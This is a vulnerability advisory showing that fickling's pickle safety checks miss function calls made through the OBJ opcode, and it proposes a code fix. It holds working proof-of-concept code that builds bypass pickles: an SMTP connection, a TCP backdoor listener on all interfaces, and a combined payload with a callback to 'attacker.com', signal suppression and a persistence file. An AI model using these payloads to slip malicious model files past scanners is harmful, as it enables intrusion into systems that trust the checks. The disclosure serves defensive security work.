Assessment

The interpreter so it behaves closer to CPython when dealing with OBJ, NEWOBJ, and NEWOBJ_EX opcodes (https://github.com/trailofbits/fickling/commit/ff423dade2bb1f72b2b48586c022fac40cbd9a4a).

Original report

Summary

All 5 of fickling's safety interfaces -- is_likely_safe(), check_safety(), CLI --check-safety, always_check_safety(), and the check_safety() context manager -- report LIKELY_SAFE / raise no exceptions for pickle files that use the OBJ opcode to call dangerous stdlib functions (signal handlers, network servers, network connections, file operations). The OBJ opcode's implementation in fickling pushes function calls directly onto the interpreter stack without persisting them to the AST via new_variable(). When the result is discarded with POP, the call vanishes from the final AST entirely, making it invisible to all 9 analysis passes. This is a separate vulnerability from the REDUCE+BUILD bypass, with a different root cause. It survives all three proposed fixes for the REDUCE+BUILD vulnerability.

Details

The vulnerability is a single missing new_variable() call in Obj.run() (fickle.py:1333-1350). REDUCE (fickle.py:1286-1301) correctly persists calls to the AST:

# Line 1300: call IS saved to module_body
var_name = interpreter.new_variable(call)
interpreter.stack.append(ast.Name(var_name, ast.Load()))

The comment on lines 1296-1299 explicitly states: "if we just save it to the stack, then it might not make it to the final AST unless the stack value is actually used." OBJ (fickle.py:1333-1350) does exactly what that comment warns against:

# Line 1348: call is ONLY on the stack, NOT in module_body
interpreter.stack.append(ast.Call(kls, args, []))

When the OBJ result is discarded by POP, the ast.Call is gone. The decompiled AST shows the import but no function call:

from smtplib import SMTP    # import present (from STACK_GLOBAL)
result = None              # no call to SMTP visible

Yet at runtime, SMTP('127.0.0.1') executes and opens a TCP connection. NEWOBJ (fickle.py:1411-1420) and NEWOBJ_EX (fickle.py:1423-1433) have the same code pattern but are less exploitable since CPython's NEWOBJ calls cls.__new__() (allocation only) while OBJ calls cls(*args) (full constructor execution with __init__ side effects).

Affected versions

All versions through 0.1.7 (latest as of 2026-02-19).

Affected APIs

• fickling.is_likely_safe() - returns True for bypass payloads
• fickling.analysis.check_safety() - returns AnalysisResults with severity = Severity.LIKELY_SAFE
• fickling --check-safety CLI - exits with code 0
• fickling.always_check_safety() + pickle.load() - no UnsafeFileError raised, malicious code executes
• fickling.check_safety() context manager + pickle.load() - no UnsafeFileError raised, malicious code executes

PoC

A pickle that opens a TCP connection to an attacker's server via OBJ+POP, yet fickling reports it as LIKELY_SAFE:

import io, struct
def sbu(s):
    """SHORT_BINUNICODE opcode helper."""
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b
def make_obj_pop_bypass():
    """
    Pickle that calls smtplib.SMTP('127.0.0.1') at runtime,
    but the call is invisible to fickling.
    Opcode sequence:
        MARK
          STACK_GLOBAL 'smtplib' 'SMTP'   (import persisted to AST)
          SHORT_BINUNICODE '127.0.0.1'    (argument)
        OBJ                               (call SMTP('127.0.0.1'), push result)
                                          (ast.Call on stack only, NOT in AST)
        POP                               (discard result -> call GONE)
        NONE
        STOP
    """
    buf = io.BytesIO()
    buf.write(b"\x80\x04\x95")  # PROTO 4 + FRAME
    payload = io.BytesIO()
    payload.write(b"(")                              # MARK
    payload.write(sbu("smtplib") + sbu("SMTP"))      # push module + func strings
    payload.write(b"\x93")                            # STACK_GLOBAL
    payload.write(sbu("127.0.0.1"))                   # push argument
    payload.write(b"o")                               # OBJ: call SMTP('127.0.0.1')
    payload.write(b"0")                               # POP: discard result
    payload.write(b"N.")                              # NONE + STOP
    frame_data = payload.getvalue()
    buf.write(struct.pack("<Q", len(frame_data)))
    buf.write(frame_data)
    return buf.getvalue()
import fickling, tempfile, os
data = make_obj_pop_bypass()
path = os.path.join(tempfile.mkdtemp(), "bypass.pkl")
with open(path, "wb") as f:
    f.write(data)
print(fickling.is_likely_safe(path))

# Output: True  <-- BYPASSED (network connection invisible to fickling)

fickling decompiles this to:

from smtplib import SMTP
result = None

Yet at runtime, SMTP('127.0.0.1') executes and opens a TCP connection. CLI verification:

$ fickling --check-safety bypass.pkl; echo "EXIT: $?"
EXIT: 0    # BYPASSED

Comparison with REDUCE (same function, detected):

$ fickling --check-safety reduce_smtp.pkl; echo "EXIT: $?"
Warning: Fickling detected that the pickle file may be unsafe.
EXIT: 1    # DETECTED

Backdoor listener PoC (most impactful)

A pickle that opens a TCP listener on port 9999, binding to all interfaces:

import io, struct
def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b
def binint(n):
    return b"J" + struct.pack("<i", n)
def make_backdoor():
    buf = io.BytesIO()
    buf.write(b"\x80\x04\x95")  # PROTO 4 + FRAME
    payload = io.BytesIO()
    # OBJ+POP: TCPServer(('0.0.0.0', 9999), BaseRequestHandler)
    payload.write(b"(")                                          # MARK
    payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93")  # STACK_GLOBAL
    payload.write(b"(")                                          # MARK (inner tuple)
    payload.write(sbu("0.0.0.0"))                                # host
    payload.write(binint(9999))                                  # port
    payload.write(b"t")                                          # TUPLE
    payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93")  # handler
    payload.write(b"o")                                          # OBJ
    payload.write(b"0")                                          # POP
    payload.write(b"N.")                                         # NONE + STOP
    frame_data = payload.getvalue()
    buf.write(struct.pack("<Q", len(frame_data)))
    buf.write(frame_data)
    return buf.getvalue()
import fickling
data = make_backdoor()
with open("/tmp/backdoor.pkl", "wb") as f:
    f.write(data)
print(fickling.is_likely_safe("/tmp/backdoor.pkl"))

# Output: True  <-- BYPASSED
import pickle, socket
server = pickle.loads(data)

# Port 9999 is now LISTENING on all interfaces
s = socket.socket()
s.connect(("127.0.0.1", 9999))
print("Connected to backdoor port!")  # succeeds
s.close()
server.server_close()

Multi-stage combined PoC

A single pickle combining signal suppression + backdoor listener + outbound callback + file persistence:

# All four operations in one pickle, all invisible to fickling:

# 1. signal.signal(SIGTERM, SIG_IGN) - suppress graceful shutdown

# 2. socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) - backdoor

# 3. smtplib.SMTP('attacker.com') - C2 callback

# 4. sqlite3.connect('/tmp/.marker') - persistence marker

# fickling reports: LIKELY_SAFE

# All 4 operations execute at runtime

always_check_safety() verification:

import fickling, pickle
fickling.always_check_safety()
with open("poc_obj_multi.pkl", "rb") as f:
    result = pickle.load(f)

# No UnsafeFileError raised -- all 4 malicious operations executed

Impact

An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts:

• Backdoor network listener: socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) opens a port on all interfaces. The TCPServer constructor calls server_bind() and server_activate(), so the port is open immediately after pickle.loads() returns.
• Process persistence: signal.signal(SIGTERM, SIG_IGN) makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the backdoor stays alive for 30+ seconds per restart attempt.
• Outbound exfiltration: smtplib.SMTP('attacker.com') opens an outbound TCP connection. The attacker's server learns the victim's IP and hostname.
• File creation on disk: sqlite3.connect(path) creates a file at an attacker-chosen path.A single pickle combines all operations. In cloud ML environments, this enables persistent backdoor access while resisting graceful shutdown. This affects any application using fickling as a safety gate for ML model files.The bypass works for any stdlib module NOT in fickling's UNSAFE_IMPORTS blocklist. Blocked modules (os, subprocess, socket, builtins, etc.) are still detected at the import level.

Suggested Fix

Add new_variable() to Obj.run() (lines 1348 and 1350), applying the same pattern used by Reduce.run() (line 1300):

# fickle.py, Obj.run():
-       if args or hasattr(kls, "__getinitargs__") or not isinstance(kls, type):
-           interpreter.stack.append(ast.Call(kls, args, []))
-       else:
-           interpreter.stack.append(ast.Call(kls, kls, []))
+       if args or hasattr(kls, "__getinitargs__") or not isinstance(kls, type):
+           call = ast.Call(kls, args, [])
+       else:
+           call = ast.Call(kls, kls, [])
+       var_name = interpreter.new_variable(call)
+       interpreter.stack.append(ast.Name(var_name, ast.Load()))

Also apply to NewObj.run() (line 1414) and NewObjEx.run() (line 1426) for defense in depth.